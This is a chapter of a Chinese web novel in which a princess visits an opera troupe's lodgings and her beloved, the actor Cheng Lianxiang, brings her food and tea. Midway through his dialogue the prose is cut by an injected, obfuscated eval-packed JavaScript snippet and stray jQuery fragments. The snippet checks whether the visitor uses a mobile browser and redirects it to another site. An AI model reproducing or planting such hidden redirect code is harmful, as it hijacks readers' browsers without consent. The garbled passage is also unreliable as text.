98. 蜡烛

作品:《公主绝非善类

    苻庆本不让松醪跟着,但松醪实在不放心松醪现下的状态,二人最终达成结论,由松醪将苻庆送到和春班,但苻庆要自己进去。松醪思来想去也觉得这法子更好一些,毕竟若是苻庆带着自己,说不定反而会惹人侧目。


    马车停在和春班门前的时候,松醪心中还在思索是不是应该由自己先走进去询问程怜香是否在此处,或者说对方是否能够见苻庆。毕竟这不比玉泉别院和公主府,是个人来人往的大院子。即便其中只有和春班的人,也有可能会出现冲撞到苻庆的事情。


    但马车刚一停下,苻庆便掀开帘子跳下了车。冲松醪摆摆手后,大踏步地走进了和春班的院子。


    此时已经是傍晚,对于寻常人家来说正是回家休息的时间,但对于和春班来说,却是一日忙碌的刚开始。


    大部分人都已经去了戏园子做准备,因此一路走进后院,苻庆都没有见到几个人。


    直到苻庆都开始怀疑这栋院子根本没有住人的时候,一道身影从影壁后闪了出来。他与苻庆距离太近,一走出来便打了个照面,惊呼一声后将手中的东西直接扔了出去。


    苻庆一把借住,这才发现是一支压鬓簪。


    “公主……”


    苻庆听到熟悉的声音抬头,对面果然站着个认识的人。


    “程清秋,”苻庆试探着问道:“我没记错你的名字吧?”


    “公主好记性。”程清秋拱手行礼,“不知公主来此,在下失仪了。”


    “没事,是我先吓了你一跳。”苻庆伸出手,将那支压鬓簪还给程清秋。


    程清秋拿回簪子,看着苻庆顿了顿。


    “程怜香人呢?”


    程清秋连忙说道:“师哥去园子唱戏了,我带着公主去师哥的屋子稍等一会吧。”


    苻庆点头,跟着程清秋向院内继续走去。


    “今日你怎么没去园子里?”


    “今儿没我的戏,我就想着整理整理东西。”程清秋忽然想起什么,“说起来这件事还要感谢公主,多亏了公主给和春班送来这么多好看的行头,现如今和春班的名头才能够越来越响。”


    “区区小事,不足挂齿。”苻庆忽然想起来自己从前送给程怜香的一箱又一箱行头,确实都价格不菲,也难怪能够吸引到这么多观众来看和春班的戏。


    走到程怜香的屋子,程清秋率先一步推开门,然后让开门口请苻庆先走进去。


    这还是苻庆第一次来程怜香在和春班的住处,这里比她想象中要大一些,虽说屋中家具并不昂贵,但收拾得很是干净。


    “你师哥居然能自己住一间屋子?”


    “是。”程清秋笑着点头,“师哥说和其他人住不习惯,因此很小的时候便一个人住了。”


    “那你呢?”


    程清秋伸手挠了挠脖子,“我,跟其他师弟住一起……”


    “你怎么不也要求自己住一间屋子?”苻庆歪着头问道:“从前你们院子小也就罢了,现在整个这院子不都是你们的了?”


    “也多亏了公主殿下。”难得能在程清秋脸上看到一点尴尬的样子,“我不是因为没有地方住,是因为从小跟别人一起住习惯了,所以才没有换。”


    “哦……”苻庆夸张地转着调子回答。


    程清秋不想在这里继续待下去,也不知道程清秋到底喜欢上这个女人哪一点,每次程清秋见到苻庆的时候,都觉得有些轻微的不自在,好像自己的尾巴总是被她捏在手里。


    “公主在此稍安勿躁,我去园子问问师哥几时能回来。”


    苻庆从刚才便看出了程清秋在此地已经是如坐针毡,点头放他走了。


    得了赦免,程清秋马不停蹄地去了戏园子。


    程清秋前脚刚离开屋子,后脚苻庆便躺在了程怜香屋里的罗汉榻上。


    大约是因为程怜香住久了的原因,从进了这间屋子开始,苻庆总感觉自己能够闻到淡淡的石叶香,这是程怜香身上的味道,也让苻庆心中感到更加平和。


    屋内只点了几支蜡烛,烛光很是昏暗。许是因为刚才的情绪波动耗费了精力,很快苻庆便迷迷糊糊地睡着了。


    月亮不知何时已经爬上了天空,如水的月光铺在苻庆身上,像是一床天然的薄被。


    不知睡了多久,苻庆忽然听到脚步声,急匆匆地由远及近传来。


    苻庆睁开眼,坐起身来。


    门倏然被推开,还穿着戏服的程怜香一步迈了进来,着急地左右张望。


    苻庆露出一个笑容,轻声呼唤道:“程怜香。”


    “苻庆!”程怜香这才看清坐在罗汉榻上的苻庆,快步走了过来。


    待程怜香走近苻庆才发现对方连脸上的戏妆都没来得及卸掉,立刻明白对方是下了台便急匆匆赶过来的。


    苻庆伸直手臂,环住了程怜香的腰。


    虽然苻庆还没有开口说什么,但程怜香已经感觉到苻庆今日的情绪有些不对劲。更何况能让苻庆突然到和春班来,必然是经过了一些很令人不快的事情。


    程怜香并不询问,只是伸出手环抱住苻庆,用肢体语言表达出他的态度。


    不论苻庆经历了什么,他都愿意张开怀抱接住她。


    半晌,苻庆才瓮声瓮气地开口询问:“怎么不把衣服换了再回来?”


    “听小秋说你过来了,我怕你找我有急事。”


    程怜香的声音很柔和,苻庆的脸在程怜香的肚子上蹭了蹭,“我没有急事,只是突然想你了。”


    “想我了,难道不是急事吗?”程怜香伸出手摸了摸苻庆的头发,“一想到公主想我,我的心早已经迫不及待要见到公主了。”


    被程怜香的话哄得高兴,苻庆伸出手轻轻打了程怜香一下。


    “先去换衣服吧。”苻庆抬起头,“别把你的戏服弄脏了。”


    程怜香点头。


    门内有一扇屏风,是最简单的竹林图。程怜香走到屏风后,换上了自己的衣服。


    将头发用簪子挽住,程怜香用脸盆中的水将脸上的妆容洗去,很快便露出一张素净白皙的脸蛋。


    “公主可要喝茶?”


    苻庆看着程怜香亮晶晶的眼眸,伸手拿过他的毛巾,帮程怜香将脸庞的发丝上的水珠也细细擦干。


    “不喝了,有点饿。”


    “饿?”程怜香眨眨眼睛,“公主没吃晚饭吗?”


    准确来说苻庆今天都没怎么吃饭,白日里因为心里装着事吃不下饭,午饭苻庆也只是吃了几口,因此现在可以说是前胸贴后背了。


    “这怎么能行?”听闻苻庆没吃饭,程怜香转头便往门外走。


    苻庆被他风风火火的样子逗笑,“你要去哪?”


    “我去给公主买些吃的回来。”程怜香已经打开了门,“和春班院外这个点最是热闹,有各种各样的吃食。”


    苻庆先是起了些兴趣,但一想到松醪的样子,又冷静了下来。


    “算了吧,其实我也不太……”


    “我知道公主平日仔细,和春班隔壁有一家酒家,虽说铺面不大但有几道菜很是可口,京


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483869|185107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中不乏王公贵族过来吃饭,想来也是能够勉强让公主尝一口的。”


    见程怜香考虑得如此周到,苻庆最终还是决定由程怜香去。


    “好,我在这等你。”


    那酒家本身距离和春班便不远,程怜香想着苻庆挨着饿,脚下的步子又加快了好几分,没一炷香便走了回来。


    看着桌上摆放整齐的几碟小菜,还有一碗与瘦肉一起熬煮的米粥,苻庆立刻感觉到食指大动。


    看着苻庆每一样菜都尝了尝,程怜香便明白自己没有选错。


    “吃慢些,仔细你的肠胃。”


    苻庆点头,又往嘴里塞了一口粥。


    经历过一日的跌宕起伏后,苻庆的肠胃终于得以满足。特别是看着坐在自己对面的程怜香,苻庆只觉得自己的心情又好了一些。


    “程怜香,谢谢你。”


    程怜香正忙着将苻庆吃过的碗碟装回食盒中,明日一早再给店家送回去。冷不丁听见苻庆这样讲,对着苻庆无奈地笑了笑。


    “好端端的,说谢做什么?”


    苻庆本不打算将朝堂上的事情告诉程怜香,毕竟在她看来,这些烦心事跟程怜香实在没什么关系。


    “没什么,就是随口一说。”


    程怜香此时已经觉察到苻庆大约是因为宫中的事情烦恼,但柳尚书死在边关之事现在尚未外传,因此程怜香即便居住在天子脚下,也依然并不知晓这件事情。


    程怜香停下手上的动作,认真地看着苻庆的脸问道:“公主,你还好吗?”


    苻庆顿了顿。


    “很好啊,我能有什么事?”


    说完,为了加强自己说话的可信性,苻庆还扯着嘴角露出一个大大的笑容。


    程怜香明白过来,苻庆并不想将那些事告知自己。


    略微加速收拾好了残局,程怜香将食盒摆在门口,又用抹布擦干净自己唯一的桌子,转身给苻庆沏了一杯茶。


    “喝口茶吧,刚吃了些油腻的,这样肠胃会不会舒服些?”


    苻庆接过茶,吹了吹茶叶沫子,浅啜一口。


    “好香!”


    看来自己没有选错,程怜香心里悄悄给自己鼓掌。


    “这一罐茉莉花茶是顾老仙亲手做的,一年他只舍得给我这么一罐。从今年拿到手的时候我便想着给你尝尝,总算是让你喝到了。”


    苻庆赶紧摆手,“这么珍贵的茶叶你给我留着干什么?下次还是赶紧喝了吧。”


    “就是因为珍贵我才要留给你啊,”程怜香站起身,将桌上的烛台拿远些,“其实也不是多好,远比不上你在宫里喝到的贡茶,但顾老仙那家伙爱茶如命,这茶叶胜在一个特别,你喜欢就好。”


    看着程怜香自然地将烛台挪走,苻庆便知道他刚才看出来自己被这蜡烛熏着的事情了。


    宫中的蜡烛制作复杂、原材料也很是昂贵,为的就是在燃烧的过程中不能散发烟味,同时温度较为温和,即便离人很近也不会让人感觉到火焰的温度。但寻常百姓家不可能买到那样的蜡烛,因此苻庆刚才放茶盏的时候没有留神,胳膊隔着衣料还被火焰熏着了一下。


    程怜香总是善于把一段话轻而易举地戳到苻庆的心窝里,有时候苻庆甚至怀疑程怜香会不会有什么法术,才能够读懂自己的内心所想,然后用实际行动安抚自己。


    “程怜香……”三个字被苻庆说得百转千回,程怜香抬起头,看见苻庆噘着嘴,伸长胳膊在原地等着自己。


    程怜香哑然失笑,走过去任由苻庆再次抱住他。